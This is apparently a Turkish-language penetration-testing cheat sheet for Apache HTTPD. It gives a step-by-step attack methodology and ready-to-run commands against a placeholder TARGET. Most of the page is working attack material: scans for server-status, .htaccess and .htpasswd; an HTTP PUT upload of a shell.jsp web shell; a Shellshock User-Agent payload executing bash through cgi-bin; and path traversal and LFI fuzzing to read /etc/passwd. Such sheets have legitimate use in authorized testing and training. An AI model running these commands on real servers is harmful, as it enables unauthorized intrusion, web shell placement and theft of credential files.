Skip to content

Apache

network http

Apache HTTPD hâlâ en yaygın web sunucularından. Sızıntı veren handler’lar, CGI, yanlış alias ve eski mod_cgi/mod_php kombinasyonları saldırı yüzeyi üretir.

  1. Sürüm, modül ve vhost haritasını çıkar.

  2. server-status / server-info / .htaccess / CGI yollarını tara.

  3. Path traversal, PUT, CGI RCE hipotezlerini doğrula.

  4. Web root yazma veya LFI/RFI zincirine geç.

Terminal window
nmap -Pn -sV -p80,443 --script http-server-header,http-methods,http-enum TARGET
Terminal window
curl -skI https://TARGET/
Terminal window
whatweb -a 3 https://TARGET
Terminal window
curl -sk https://TARGET/ -H 'Host: evil.com' | head
Terminal window
curl -sk https://TARGET/server-status
Terminal window
curl -sk https://TARGET/server-info
Terminal window
curl -sk https://TARGET/.htaccess
Terminal window
curl -sk https://TARGET/.htpasswd
Terminal window
curl -sk https://TARGET/icons/
Terminal window
ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/Apache.fuzz.txt -mc 200,204,301,302,403
Terminal window
ffuf -u https://TARGET/cgi-bin/FUZZ -w /usr/share/seclists/Discovery/Web-Content/cgis.txt -mc 200,500
Terminal window
nuclei -u https://TARGET -tags apache
Terminal window
curl -sk -X OPTIONS https://TARGET/ -D -
Terminal window
curl -sk -X PUT https://TARGET/shell.jsp --data-binary @shell.jsp
Terminal window
nmap -p80,443 --script http-put --script-args http-put.url='/test.txt',http-put.file=/tmp/test.txt TARGET
Terminal window
curl -sk https://TARGET/cgi-bin/status -H 'User-Agent: () { :; }; /bin/bash -c "id"'
Terminal window
curl -sk 'https://TARGET/cgi-bin/test.cgi' --data 'x=1'
/icons/../../../../etc/passwd
/cgi-bin/.%2e/.%2e/.%2e/etc/passwd
Terminal window
ffuf -u 'https://TARGET/FUZZ' -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -mr 'root:'
[ ] Sürüm/modül/vhost
[ ] status/info/htaccess
[ ] cgi-bin ve methods
[ ] PUT/CGI/traversal PoC
[ ] Web root veya RCE kanıtı